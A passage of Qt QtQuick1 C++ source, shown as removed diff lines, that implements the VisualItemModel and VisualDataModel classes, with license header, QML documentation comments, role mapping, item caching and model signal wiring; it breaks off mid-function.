$QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativevisualitemmodel_p.h" - -#include "QtQuick1/qdeclarativeitem.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#include - -QT_BEGIN_NAMESPACE - - - -QHash QDeclarative1VisualItemModelAttached::attachedProperties; - - -class QDeclarative1VisualItemModelPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1VisualItemModel) -public: - QDeclarative1VisualItemModelPrivate() : QObjectPrivate() {} - - static void children_append(QDeclarativeListProperty *prop, QDeclarativeItem *item) { - QDeclarative_setParent_noEvent(item, prop->object); - static_cast(prop->data)->children.append(Item(item)); - static_cast(prop->data)->itemAppended(); - static_cast(prop->data)->emitChildrenChanged(); - } - - static int children_count(QDeclarativeListProperty *prop) { - return static_cast(prop->data)->children.count(); - } - - static QDeclarativeItem *children_at(QDeclarativeListProperty *prop, int index) { - return static_cast(prop->data)->children.at(index).item; - } - - void itemAppended() { - Q_Q(QDeclarative1VisualItemModel); - QDeclarative1VisualItemModelAttached *attached = QDeclarative1VisualItemModelAttached::properties(children.last().item); - attached->setIndex(children.count()-1); - emit q->itemsInserted(children.count()-1, 1); - emit q->countChanged(); - } - - void emitChildrenChanged() { - Q_Q(QDeclarative1VisualItemModel); - emit q->childrenChanged(); - } - - int indexOf(QDeclarativeItem *item) const { - for (int i = 0; i < children.count(); ++i) - if (children.at(i).item == item) - return i; - return -1; - } - - class Item { - public: - Item(QDeclarativeItem *i) : item(i), ref(0) {} - - void addRef() { ++ref; } - bool deref() { return --ref == 0; } - - QDeclarativeItem *item; - int ref; - }; - - QList children; -}; - - -/*! - \qmlclass VisualItemModel QDeclarative1VisualItemModel - \inqmlmodule QtQuick 1 - \ingroup qml-working-with-data - \since QtQuick 1.0 - \brief The VisualItemModel allows items to be provided to a view. - - A VisualItemModel contains the visual items to be used in a view. - When a VisualItemModel is used in a view, the view does not require - a delegate since the VisualItemModel already contains the visual - delegate (items). - - An item can determine its index within the - model via the \l{VisualItemModel::index}{index} attached property. - - The example below places three colored rectangles in a ListView. - \code - import QtQuick 1.0 - - Rectangle { - VisualItemModel { - id: itemModel - Rectangle { height: 30; width: 80; color: "red" } - Rectangle { height: 30; width: 80; color: "green" } - Rectangle { height: 30; width: 80; color: "blue" } - } - - ListView { - anchors.fill: parent - model: itemModel - } - } - \endcode - - \image visualitemmodel.png - - \sa {declarative/modelviews/visualitemmodel}{VisualItemModel example} -*/ -QDeclarative1VisualItemModel::QDeclarative1VisualItemModel(QObject *parent) - : QDeclarative1VisualModel(*(new QDeclarative1VisualItemModelPrivate), parent) -{ -} - -/*! - \qmlattachedproperty int VisualItemModel::index - This attached property holds the index of this delegate's item within the model. - - It is attached to each instance of the delegate. -*/ - -QDeclarativeListProperty QDeclarative1VisualItemModel::children() -{ - Q_D(QDeclarative1VisualItemModel); - return QDeclarativeListProperty(this, d, d->children_append, - d->children_count, d->children_at); -} - -/*! - \qmlproperty int QtQuick1::VisualItemModel::count - - The number of items in the model. This property is readonly. -*/ -int QDeclarative1VisualItemModel::count() const -{ - Q_D(const QDeclarative1VisualItemModel); - return d->children.count(); -} - -bool QDeclarative1VisualItemModel::isValid() const -{ - return true; -} - -QDeclarativeItem *QDeclarative1VisualItemModel::item(int index, bool) -{ - Q_D(QDeclarative1VisualItemModel); - QDeclarative1VisualItemModelPrivate::Item &item = d->children[index]; - item.addRef(); - return item.item; -} - -QDeclarative1VisualModel::ReleaseFlags QDeclarative1VisualItemModel::release(QDeclarativeItem *item) -{ - Q_D(QDeclarative1VisualItemModel); - int idx = d->indexOf(item); - if (idx >= 0) { - if (d->children[idx].deref()) { - if (item->scene()) - item->scene()->removeItem(item); - QDeclarative_setParent_noEvent(item, this); - } - } - return 0; -} - -bool QDeclarative1VisualItemModel::completePending() const -{ - return false; -} - -void QDeclarative1VisualItemModel::completeItem() -{ - // Nothing to do -} - -QString QDeclarative1VisualItemModel::stringValue(int index, const QString &name) -{ - Q_D(QDeclarative1VisualItemModel); - if (index < 0 || index >= d->children.count()) - return QString(); - return QDeclarativeEngine::contextForObject(d->children.at(index).item)->contextProperty(name).toString(); -} - -int QDeclarative1VisualItemModel::indexOf(QDeclarativeItem *item, QObject *) const -{ - Q_D(const QDeclarative1VisualItemModel); - return d->indexOf(item); -} - -QDeclarative1VisualItemModelAttached *QDeclarative1VisualItemModel::qmlAttachedProperties(QObject *obj) -{ - return QDeclarative1VisualItemModelAttached::properties(obj); -} - -//============================================================================ - -class VDMDelegateDataType : public QDeclarative1OpenMetaObjectType -{ -public: - VDMDelegateDataType(const QMetaObject *base, QDeclarativeEngine *engine) : QDeclarative1OpenMetaObjectType(base, engine) {} - - void propertyCreated(int, QMetaPropertyBuilder &prop) { - prop.setWritable(false); - } -}; - -class QDeclarative1VisualDataModelParts; -class QDeclarative1VisualDataModelData; -class QDeclarative1VisualDataModelPrivate : public QObjectPrivate -{ -public: - QDeclarative1VisualDataModelPrivate(QDeclarativeContext *); - - static QDeclarative1VisualDataModelPrivate *get(QDeclarative1VisualDataModel *m) { - return static_cast(QObjectPrivate::get(m)); - } - - QDeclarativeGuard m_listModelInterface; - QDeclarativeGuard m_abstractItemModel; - QDeclarativeGuard m_visualItemModel; - QString m_part; - - QDeclarativeComponent *m_delegate; - QDeclarativeGuard m_context; - QList m_roles; - QHash m_roleNames; - void ensureRoles() { - if (m_roleNames.isEmpty()) { - if (m_listModelInterface) { - m_roles = m_listModelInterface->roles(); - for (int ii = 0; ii < m_roles.count(); ++ii) - m_roleNames.insert(m_listModelInterface->toString(m_roles.at(ii)).toUtf8(), m_roles.at(ii)); - } else if (m_abstractItemModel) { - QHash roles = m_abstractItemModel->roleNames(); - for (QHash::const_iterator it = roles.begin(); - it != roles.end(); ++it) { - m_roles.append(it.key()); - m_roleNames.insert(*it, it.key()); - } - if (m_roles.count()) - m_roleNames.insert("hasModelChildren", -1); - } else if (m_listAccessor) { - m_roleNames.insert("modelData", 0); - if (m_listAccessor->type() == QDeclarative1ListAccessor::Instance) { - if (QObject *object = m_listAccessor->at(0).value()) { - int count = object->metaObject()->propertyCount(); - for (int ii = 1; ii < count; ++ii) { - const QMetaProperty &prop = object->metaObject()->property(ii); - m_roleNames.insert(prop.name(), 0); - } - } - } - } - } - } - - QHash m_roleToPropId; - int m_modelDataPropId; - void createMetaData() { - if (!m_metaDataCreated) { - ensureRoles(); - if (m_roleNames.count()) { - QHash::const_iterator it = m_roleNames.begin(); - while (it != m_roleNames.end()) { - int propId = m_delegateDataType->createProperty(it.key()) - m_delegateDataType->propertyOffset(); - m_roleToPropId.insert(*it, propId); - ++it; - } - // Add modelData property - if (m_roles.count() == 1) - m_modelDataPropId = m_delegateDataType->createProperty("modelData") - m_delegateDataType->propertyOffset(); - m_metaDataCreated = true; - } - } - } - - struct ObjectRef { - ObjectRef(QObject *object=0) : obj(object), ref(1) {} - QObject *obj; - int ref; - }; - class Cache : public QHash { - public: - QObject *getItem(int index) { - QObject *item = 0; - QHash::iterator it = find(index); - if (it != end()) { - (*it).ref++; - item = (*it).obj; - } - return item; - } - QObject *item(int index) { - QObject *item = 0; - QHash::const_iterator it = find(index); - if (it != end()) - item = (*it).obj; - return item; - } - void insertItem(int index, QObject *obj) { - insert(index, ObjectRef(obj)); - } - bool releaseItem(QObject *obj) { - QHash::iterator it = begin(); - for (; it != end(); ++it) { - ObjectRef &objRef = *it; - if (objRef.obj == obj) { - if (--objRef.ref == 0) { - erase(it); - return true; - } - break; - } - } - return false; - } - }; - - int modelCount() const { - if (m_visualItemModel) - return m_visualItemModel->count(); - if (m_listModelInterface) - return m_listModelInterface->count(); - if (m_abstractItemModel) - return m_abstractItemModel->rowCount(m_root); - if (m_listAccessor) - return m_listAccessor->count(); - return 0; - } - - Cache m_cache; - QHash m_packaged; - - QDeclarative1VisualDataModelParts *m_parts; - friend class QDeclarative1VisualItemParts; - - VDMDelegateDataType *m_delegateDataType; - friend class QDeclarative1VisualDataModelData; - bool m_metaDataCreated : 1; - bool m_metaDataCacheable : 1; - bool m_delegateValidated : 1; - bool m_completePending : 1; - - QDeclarative1VisualDataModelData *data(QObject *item); - - QVariant m_modelVariant; - QDeclarative1ListAccessor *m_listAccessor; - - QModelIndex m_root; - QList watchedRoles; - QList watchedRoleIds; -}; - -class QDeclarative1VisualDataModelDataMetaObject : public QDeclarative1OpenMetaObject -{ -public: - QDeclarative1VisualDataModelDataMetaObject(QObject *parent, QDeclarative1OpenMetaObjectType *type) - : QDeclarative1OpenMetaObject(parent, type) {} - - virtual QVariant initialValue(int); - virtual int createProperty(const char *, const char *); - -private: - friend class QDeclarative1VisualDataModelData; -}; - -class QDeclarative1VisualDataModelData : public QObject -{ -Q_OBJECT -public: - QDeclarative1VisualDataModelData(int index, QDeclarative1VisualDataModel *model); - ~QDeclarative1VisualDataModelData(); - - Q_PROPERTY(int index READ index NOTIFY indexChanged) - int index() const; - void setIndex(int index); - - int propForRole(int) const; - int modelDataPropertyId() const { - QDeclarative1VisualDataModelPrivate *model = QDeclarative1VisualDataModelPrivate::get(m_model); - return model->m_modelDataPropId; - } - - void setValue(int, const QVariant &); - bool hasValue(int id) const { - return m_meta->hasValue(id); - } - - void ensureProperties(); - -Q_SIGNALS: - void indexChanged(); - -private: - friend class QDeclarative1VisualDataModelDataMetaObject; - int m_index; - QDeclarativeGuard m_model; - QDeclarative1VisualDataModelDataMetaObject *m_meta; -}; - -int QDeclarative1VisualDataModelData::propForRole(int id) const -{ - QDeclarative1VisualDataModelPrivate *model = QDeclarative1VisualDataModelPrivate::get(m_model); - QHash::const_iterator it = model->m_roleToPropId.find(id); - if (it != model->m_roleToPropId.end()) - return *it; - - return -1; -} - -void QDeclarative1VisualDataModelData::setValue(int id, const QVariant &val) -{ - m_meta->setValue(id, val); -} - -int QDeclarative1VisualDataModelDataMetaObject::createProperty(const char *name, const char *type) -{ - QDeclarative1VisualDataModelData *data = - static_cast(object()); - - if (!data->m_model) - return -1; - - QDeclarative1VisualDataModelPrivate *model = QDeclarative1VisualDataModelPrivate::get(data->m_model); - if (data->m_index < 0 || data->m_index >= model->modelCount()) - return -1; - - if ((!model->m_listModelInterface || !model->m_abstractItemModel) && model->m_listAccessor) { - if (model->m_listAccessor->type() == QDeclarative1ListAccessor::ListProperty) { - model->ensureRoles(); - if (qstrcmp(name,"modelData") == 0) - return QDeclarative1OpenMetaObject::createProperty(name, type); - } - } - return -1; -} - -QVariant QDeclarative1VisualDataModelDataMetaObject::initialValue(int propId) -{ - QDeclarative1VisualDataModelData *data = - static_cast(object()); - - Q_ASSERT(data->m_model); - QDeclarative1VisualDataModelPrivate *model = QDeclarative1VisualDataModelPrivate::get(data->m_model); - - QByteArray propName = name(propId); - if ((!model->m_listModelInterface || !model->m_abstractItemModel) && model->m_listAccessor) { - if (propName == "modelData") { - if (model->m_listAccessor->type() == QDeclarative1ListAccessor::Instance) { - QObject *object = model->m_listAccessor->at(0).value(); - return object->metaObject()->property(1).read(object); // the first property after objectName - } - return model->m_listAccessor->at(data->m_index); - } else { - // return any property of a single object instance. - QObject *object = model->m_listAccessor->at(data->m_index).value(); - return object->property(propName); - } - } else if (model->m_listModelInterface) { - model->ensureRoles(); - QHash::const_iterator it = model->m_roleNames.find(propName); - if (it != model->m_roleNames.end()) { - QVariant value = model->m_listModelInterface->data(data->m_index, *it); - return value; - } else if (model->m_roles.count() == 1 && propName == "modelData") { - //for compatibility with other lists, assign modelData if there is only a single role - QVariant value = model->m_listModelInterface->data(data->m_index, model->m_roles.first()); - return value; - } - } else if (model->m_abstractItemModel) { - model->ensureRoles(); - QModelIndex index = model->m_abstractItemModel->index(data->m_index, 0, model->m_root); - if (propName == "hasModelChildren") { - return model->m_abstractItemModel->hasChildren(index); - } else { - QHash::const_iterator it = model->m_roleNames.find(propName); - if (it != model->m_roleNames.end()) { - return model->m_abstractItemModel->data(index, *it); - } else if (model->m_roles.count() == 1 && propName == "modelData") { - //for compatibility with other lists, assign modelData if there is only a single role - return model->m_abstractItemModel->data(index, model->m_roles.first()); - } - } - } - Q_ASSERT(!"Can never be reached"); - return QVariant(); -} - -QDeclarative1VisualDataModelData::QDeclarative1VisualDataModelData(int index, - QDeclarative1VisualDataModel *model) -: m_index(index), m_model(model), -m_meta(new QDeclarative1VisualDataModelDataMetaObject(this, QDeclarative1VisualDataModelPrivate::get(model)->m_delegateDataType)) -{ - ensureProperties(); -} - -QDeclarative1VisualDataModelData::~QDeclarative1VisualDataModelData() -{ -} - -void QDeclarative1VisualDataModelData::ensureProperties() -{ - QDeclarative1VisualDataModelPrivate *modelPriv = QDeclarative1VisualDataModelPrivate::get(m_model); - if (modelPriv->m_metaDataCacheable) { - if (!modelPriv->m_metaDataCreated) - modelPriv->createMetaData(); - if (modelPriv->m_metaDataCreated) - m_meta->setCached(true); - } -} - -int QDeclarative1VisualDataModelData::index() const -{ - return m_index; -} - -// This is internal only - it should not be set from qml -void QDeclarative1VisualDataModelData::setIndex(int index) -{ - m_index = index; - emit indexChanged(); -} - -//--------------------------------------------------------------------------- - -class QDeclarative1VisualDataModelPartsMetaObject : public QDeclarative1OpenMetaObject -{ -public: - QDeclarative1VisualDataModelPartsMetaObject(QObject *parent) - : QDeclarative1OpenMetaObject(parent) {} - - virtual void propertyCreated(int, QMetaPropertyBuilder &); - virtual QVariant initialValue(int); -}; - -class QDeclarative1VisualDataModelParts : public QObject -{ -Q_OBJECT -public: - QDeclarative1VisualDataModelParts(QDeclarative1VisualDataModel *parent); - -private: - friend class QDeclarative1VisualDataModelPartsMetaObject; - QDeclarative1VisualDataModel *model; -}; - -void QDeclarative1VisualDataModelPartsMetaObject::propertyCreated(int, QMetaPropertyBuilder &prop) -{ - prop.setWritable(false); -} - -QVariant QDeclarative1VisualDataModelPartsMetaObject::initialValue(int id) -{ - QDeclarative1VisualDataModel *m = new QDeclarative1VisualDataModel; - m->setParent(object()); - m->setPart(QString::fromUtf8(name(id))); - m->setModel(QVariant::fromValue(static_cast(object())->model)); - - QVariant var = QVariant::fromValue((QObject *)m); - return var; -} - -QDeclarative1VisualDataModelParts::QDeclarative1VisualDataModelParts(QDeclarative1VisualDataModel *parent) -: QObject(parent), model(parent) -{ - new QDeclarative1VisualDataModelPartsMetaObject(this); -} - -QDeclarative1VisualDataModelPrivate::QDeclarative1VisualDataModelPrivate(QDeclarativeContext *ctxt) -: m_listModelInterface(0), m_abstractItemModel(0), m_visualItemModel(0), m_delegate(0) -, m_context(ctxt), m_modelDataPropId(-1), m_parts(0), m_delegateDataType(0), m_metaDataCreated(false) -, m_metaDataCacheable(false), m_delegateValidated(false), m_completePending(false), m_listAccessor(0) -{ -} - -QDeclarative1VisualDataModelData *QDeclarative1VisualDataModelPrivate::data(QObject *item) -{ - QDeclarative1VisualDataModelData *dataItem = - item->findChild(); - Q_ASSERT(dataItem); - return dataItem; -} - -//--------------------------------------------------------------------------- - -/*! - \qmlclass VisualDataModel QDeclarative1VisualDataModel - \inqmlmodule QtQuick 1 - \ingroup qml-working-with-data - \brief The VisualDataModel encapsulates a model and delegate - - A VisualDataModel encapsulates a model and the delegate that will - be instantiated for items in the model. - - It is usually not necessary to create VisualDataModel elements. - However, it can be useful for manipulating and accessing the \l modelIndex - when a QAbstractItemModel subclass is used as the - model. Also, VisualDataModel is used together with \l Package to - provide delegates to multiple views. - - The example below illustrates using a VisualDataModel with a ListView. - - \snippet doc/src/snippets/qtquick1/visualdatamodel.qml 0 -*/ - -QDeclarative1VisualDataModel::QDeclarative1VisualDataModel() -: QDeclarative1VisualModel(*(new QDeclarative1VisualDataModelPrivate(0))) -{ -} - -QDeclarative1VisualDataModel::QDeclarative1VisualDataModel(QDeclarativeContext *ctxt, QObject *parent) -: QDeclarative1VisualModel(*(new QDeclarative1VisualDataModelPrivate(ctxt)), parent) -{ -} - -QDeclarative1VisualDataModel::~QDeclarative1VisualDataModel() -{ - Q_D(QDeclarative1VisualDataModel); - if (d->m_listAccessor) - delete d->m_listAccessor; - if (d->m_delegateDataType) - d->m_delegateDataType->release(); -} - -/*! - \qmlproperty model QtQuick1::VisualDataModel::model - This property holds the model providing data for the VisualDataModel. - - The model provides a set of data that is used to create the items - for a view. For large or dynamic datasets the model is usually - provided by a C++ model object. The C++ model object must be a \l - {QAbstractItemModel} subclass or a simple list. - - Models can also be created directly in QML, using a \l{ListModel} or - \l{XmlListModel}. - - \sa {qmlmodels}{Data Models} -*/ -QVariant QDeclarative1VisualDataModel::model() const -{ - Q_D(const QDeclarative1VisualDataModel); - return d->m_modelVariant; -} - -void QDeclarative1VisualDataModel::setModel(const QVariant &model) -{ - Q_D(QDeclarative1VisualDataModel); - delete d->m_listAccessor; - d->m_listAccessor = 0; - d->m_modelVariant = model; - if (d->m_listModelInterface) { - // Assume caller has released all items. - QObject::disconnect(d->m_listModelInterface, SIGNAL(itemsChanged(int,int,QList)), - this, SLOT(_q_itemsChanged(int,int,QList))); - QObject::disconnect(d->m_listModelInterface, SIGNAL(itemsInserted(int,int)), - this, SLOT(_q_itemsInserted(int,int))); - QObject::disconnect(d->m_listModelInterface, SIGNAL(itemsRemoved(int,int)), - this, SLOT(_q_itemsRemoved(int,int))); - QObject::disconnect(d->m_listModelInterface, SIGNAL(itemsMoved(int,int,int)), - this, SLOT(_q_itemsMoved(int,int,int))); - d->m_listModelInterface = 0; - } else if (d->m_abstractItemModel) { - QObject::disconnect(d->m_abstractItemModel, SIGNAL(rowsInserted(QModelIndex,int,int)), - this, SLOT(_q_rowsInserted(QModelIndex,int,int))); - QObject::disconnect(d->m_abstractItemModel, SIGNAL(rowsRemoved(QModelIndex,int,int)), - this, SLOT(_q_rowsRemoved(QModelIndex,int,int))); - QObject::disconnect(d->m_abstractItemModel, SIGNAL(dataChanged(QModelIndex,QModelIndex)), - this, SLOT(_q_dataChanged(QModelIndex,QModelIndex))); - QObject::disconnect(d->m_abstractItemModel, SIGNAL(rowsMoved(QModelIndex,int,int,QModelIndex,int)), - this, SLOT(_q_rowsMoved(QModelIndex,int,int,QModelIndex,int))); - QObject::disconnect(d->m_abstractItemModel, SIGNAL(modelReset()), this, SLOT(_q_modelReset())); - QObject::disconnect(d->m_abstractItemModel, SIGNAL(layoutChanged()), this, SLOT(_q_layoutChanged())); - d->m_abstractItemModel = 0; - } else if (d->m_visualItemModel) { - QObject::disconnect(d->m_visualItemModel, SIGNAL(itemsInserted(int,int)), - this, SIGNAL(itemsInserted(int,int))); - QObject::disconnect(d->m_visualItemModel, SIGNAL(itemsRemoved(int,int)), - this, SIGNAL(itemsRemoved(int,int))); - QObject::disconnect(d->m_visualItemModel, SIGNAL(itemsMoved(int,int,int)), - this, SIGNAL(itemsMoved(int,int,int))); - QObject::disconnect(d->m_visualItemModel, SIGNAL(createdPackage(int,QDeclarative1Package*)), - this, SLOT(_q_createdPackage(int,QDeclarative1Package*))); - QObject::disconnect(d->m_visualItemModel, SIGNAL(destroyingPackage(QDeclarative1Package*)), - this, SLOT(_q_destroyingPackage(QDeclarative1Package*))); - d->m_visualItemModel = 0; - } - - d->m_roles.clear(); - d->m_roleNames.clear(); - if (d->m_delegateDataType) - d->m_delegateDataType->release(); - d->m_metaDataCreated = 0; - d->m_metaDataCacheable = false; - d->m_delegateDataType = new VDMDelegateDataType(&QDeclarative1VisualDataModelData::staticMetaObject, d->m_context?d->m_context->engine():qmlEngine(this)); - - QObject *object = qvariant_cast(model); - if (object && (d->m_listModelInterface = qobject_cast(object))) { - QObject::connect(d->m_listModelInterface, SIGNAL(itemsChanged(int,int,QList)), - this, SLOT(_q_itemsChanged(int,int,QList))); - QObject::connect(d->m_listModelInterface, SIGNAL(itemsInserted(int,int)), - this, SLOT(_q_itemsInserted(int,int))); - QObject::connect(d->m_listModelInterface, SIGNAL(itemsRemoved(int,int)), - this, SLOT(_q_itemsRemoved(int,int))); - QObject::connect(d->m_listModelInterface, SIGNAL(itemsMoved(int,int,int)), - this, SLOT(_q_itemsMoved(int,int,int))); - d->m_metaDataCacheable = true; - if (d->m_delegate && d->m_listModelInterface->count()) - emit itemsInserted(0, d->m_listModelInterface->count()); - return; - } else if (object && (d->m_abstractItemModel = qobject_cast(object))) { - QObject::connect(d->m_abstractItemModel, SIGNAL(rowsInserted(QModelIndex,int,int)), - this, SLOT(_q_rowsInserted(QModelIndex,int,int))); - QObject::connect(d->m_abstractItemModel, SIGNAL(rowsRemoved(QModelIndex,int,int)), - this, SLOT(_q_rowsRemoved(QModelIndex,int,int))); - QObject::connect(d->m_abstractItemModel, SIGNAL(dataChanged(QModelIndex,QModelIndex)), - this, SLOT(_q_dataChanged(QModelIndex,QModelIndex))); - QObject::connect(d->m_abstractItemModel, SIGNAL(rowsMoved(QModelIndex,int,int,QModelIndex,int)), - this, SLOT(_q_rowsMoved(QModelIndex,int,int,QModelIndex,int))); - QObject::connect(d->m_abstractItemModel, SIGNAL(modelReset()), this, SLOT(_q_modelReset())); - QObject::connect(d->m_abstractItemModel, SIGNAL(layoutChanged()), this, SLOT(_q_layoutChanged())); - d->m_metaDataCacheable = true; - if (d->m_abstractItemModel->canFetchMore(d->m_root)) - d->m_abstractItemModel->fetchMore(d->m_root); - return; - } - if ((d->m_visualItemModel = qvariant_cast(model))) { - QObject::connect(d->m_visualItemModel, SIGNAL(itemsInserted(int,int)), - this, SIGNAL(itemsInserted(int,int))); - QObject::connect(d->m_visualItemModel, SIGNAL(itemsRemoved(int,int)), - this, SIGNAL(itemsRemoved(int,int))); - QObject::connect(d->m_visualItemModel, SIGNAL(itemsMoved(int,int,int)), - this, SIGNAL(itemsMoved(int,int,int))); - QObject::connect(d->m_visualItemModel, SIGNAL(createdPackage(int,QDeclarative1Package*)), - this, SLOT(_q_createdPackage(int,QDeclarative1Package*))); - QObject::connect(d->m_visualItemModel, SIGNAL(destroyingPackage(QDeclarative1Package*)), - this, SLOT(_q_destroyingPackage(QDeclarative1Package*))); - return; - } - d->m_listAccessor = new QDeclarative1ListAccessor; - d->m_listAccessor->setList(model, d->m_context?d->m_context->engine():qmlEngine(this)); - if (d->m_listAccessor->type() != QDeclarative1ListAccessor::ListProperty) - d->m_metaDataCacheable = true; - if (d->m_delegate && d->modelCount()) { - emit itemsInserted(0, d->modelCount()); - emit countChanged(); - } -} - -/*! - \qmlproperty Component QtQuick1::VisualDataModel::delegate - - The delegate provides a template defining each item instantiated by a view. - The index is exposed as an accessible \c index property. Properties of the - model are also available depending upon the type of \l {qmlmodels}{Data Model}. -*/ -QDeclarativeComponent *QDeclarative1VisualDataModel::delegate() const -{ - Q_D(const QDeclarative1VisualDataModel); - if (d->m_visualItemModel) - return d->m_visualItemModel->delegate(); - return d->m_delegate; -} - -void QDeclarative1VisualDataModel::setDelegate(QDeclarativeComponent *delegate) -{ - Q_D(QDeclarative1VisualDataModel); - bool wasValid = d->m_delegate != 0; - d->m_delegate = delegate; - d->m_delegateValidated = false; - if (!wasValid && d->modelCount() && d->m_delegate) { - emit itemsInserted(0, d->modelCount()); - emit countChanged(); - } - if (wasValid && !d->m_delegate && d->modelCount()) { - emit itemsRemoved(0, d->modelCount()); - emit countChanged(); - } -} - -/*! - \qmlproperty QModelIndex QtQuick1::VisualDataModel::rootIndex - - QAbstractItemModel provides a hierarchical tree of data, whereas - QML only operates on list data. \c rootIndex allows the children of - any node in a QAbstractItemModel to be provided by this model. - - This property only affects models of type QAbstractItemModel that - are hierarchical (e.g, a tree model). - - For example, here is a simple interactive file system browser. - When a directory name is clicked, the view's \c rootIndex is set to the - QModelIndex node of the clicked directory, thus updating the view to show - the new directory's contents. - - \c main.cpp: - \snippet doc/src/snippets/qtquick1/visualdatamodel_rootindex/main.cpp 0 - - \c view.qml: - \snippet doc/src/snippets/qtquick1/visualdatamodel_rootindex/view.qml 0 - - If the \l model is a QAbstractItemModel subclass, the delegate can also - reference a \c hasModelChildren property (optionally qualified by a - \e model. prefix) that indicates whether the delegate's model item has - any child nodes. - - - \sa modelIndex(), parentModelIndex() -*/ -QVariant QDeclarative1VisualDataModel::rootIndex() const -{ - Q_D(const QDeclarative1VisualDataModel); - return QVariant::fromValue(d->m_root); -} - -void QDeclarative1VisualDataModel::setRootIndex(const QVariant &root) -{ - Q_D(QDeclarative1VisualDataModel); - QModelIndex modelIndex = qvariant_cast(root); - if (d->m_root != modelIndex) { - int oldCount = d->modelCount(); - d->m_root = modelIndex; - if (d->m_abstractItemModel && d->m_abstractItemModel->canFetchMore(modelIndex)) - d->m_abstractItemModel->fetchMore(modelIndex); - int newCount = d->modelCount(); - if (d->m_delegate && oldCount) - emit itemsRemoved(0, oldCount); - if (d->m_delegate && newCount) - emit itemsInserted(0, newCount); - if (newCount != oldCount) - emit countChanged(); - emit rootIndexChanged(); - } -} - - -/*! - \qmlmethod QModelIndex QtQuick1::VisualDataModel::modelIndex(int index) - - QAbstractItemModel provides a hierarchical tree of data, whereas - QML only operates on list data. This function assists in using - tree models in QML. - - Returns a QModelIndex for the specified index. - This value can be assigned to rootIndex. - - \sa rootIndex -*/ -QVariant QDeclarative1VisualDataModel::modelIndex(int idx) const -{ - Q_D(const QDeclarative1VisualDataModel); - if (d->m_abstractItemModel) - return QVariant::fromValue(d->m_abstractItemModel->index(idx, 0, d->m_root)); - return QVariant::fromValue(QModelIndex()); -} - -/*! - \qmlmethod QModelIndex QtQuick1::VisualDataModel::parentModelIndex() - - QAbstractItemModel provides a hierarchical tree of data, whereas - QML only operates on list data. This function assists in using - tree models in QML. - - Returns a QModelIndex for the parent of the current rootIndex. - This value can be assigned to rootIndex. - - \sa rootIndex -*/ -QVariant QDeclarative1VisualDataModel::parentModelIndex() const -{ - Q_D(const QDeclarative1VisualDataModel); - if (d->m_abstractItemModel) - return QVariant::fromValue(d->m_abstractItemModel->parent(d->m_root)); - return QVariant::fromValue(QModelIndex()); -} - -QString QDeclarative1VisualDataModel::part() const -{ - Q_D(const QDeclarative1VisualDataModel); - return d->m_part; -} - -void QDeclarative1VisualDataModel::setPart(const QString &part) -{ - Q_D(QDeclarative1VisualDataModel); - d->m_part = part; -} - -int QDeclarative1VisualDataModel::count() const -{ - Q_D(const QDeclarative1VisualDataModel); - if (d->m_visualItemModel) - return d->m_visualItemModel->count(); - if (!d->m_delegate) - return 0; - return d->modelCount(); -} - -QDeclarativeItem *QDeclarative1VisualDataModel::item(int index, bool complete) -{ - Q_D(QDeclarative1VisualDataModel); - if (d->m_visualItemModel) - return d->m_visualItemModel->item(index, d->m_part.toUtf8(), complete); - return item(index, QByteArray(), complete); -} - -/* - Returns ReleaseStatus flags. -*/ -QDeclarative1VisualDataModel::ReleaseFlags QDeclarative1VisualDataModel::release(QDeclarativeItem *item) -{ - Q_D(QDeclarative1VisualDataModel); - if (d->m_visualItemModel) - return d->m_visualItemModel->release(item); - - ReleaseFlags stat = 0; - QObject *obj = item; - bool inPackage = false; - - QHash::iterator it = d->m_packaged.find(item); - if (it != d->m_packaged.end()) { - QDeclarative1Package *package = *it; - d->m_packaged.erase(it); - if (d->m_packaged.contains(item)) - stat |= Referenced; - inPackage = true; - obj = package; // fall through and delete - } - - if (d->m_cache.releaseItem(obj)) { - // Remove any bindings to avoid warnings due to parent change. - QObjectPrivate *p = QObjectPrivate::get(obj); - Q_ASSERT(p->declarativeData); - QDeclarativeData *d = static_cast(p->declarativeData); - if (d->ownContext && d->context) - d->context->clearContext(); - - if (inPackage) { - emit destroyingPackage(qobject_cast(obj)); - } else { - if (item->scene()) - item->scene()->removeItem(item); - } - stat |= Destroyed; - obj->deleteLater(); - } else if (!inPackage) { - stat |= Referenced; - } - - return stat; -} - -/*! - \qmlproperty object QtQuick1::VisualDataModel::parts - - The \a parts property selects a VisualDataModel which creates - delegates from the part named. This is used in conjunction with - the \l Package element. - - For example, the code below selects a model which creates - delegates named \e list from a \l Package: - - \code - VisualDataModel { - id: visualModel - delegate: Package { - Item { Package.name: "list" } - } - model: myModel - } - - ListView { - width: 200; height:200 - model: visualModel.parts.list - } - \endcode - - \sa Package -*/ -QObject *QDeclarative1VisualDataModel::parts() -{ - Q_D(QDeclarative1VisualDataModel); - if (!d->m_parts) - d->m_parts = new QDeclarative1VisualDataModelParts(this); - return d->m_parts; -} - -QDeclarativeItem *QDeclarative1VisualDataModel::item(int index, const QByteArray &viewId, bool complete) -{ - Q_D(QDeclarative1VisualDataModel); - if (d->m_visualItemModel) - return d->m_visualItemModel->item(index, viewId, complete); - - if (d->modelCount() <= 0 || !d->m_delegate) - return 0; - QObject *nobj = d->m_cache.getItem(index); - bool needComplete = false; - if (!nobj) { - QDeclarativeContext *ccontext = d->m_context; - if (!ccontext) ccontext = qmlContext(this); - QDeclarativeContext *ctxt = new 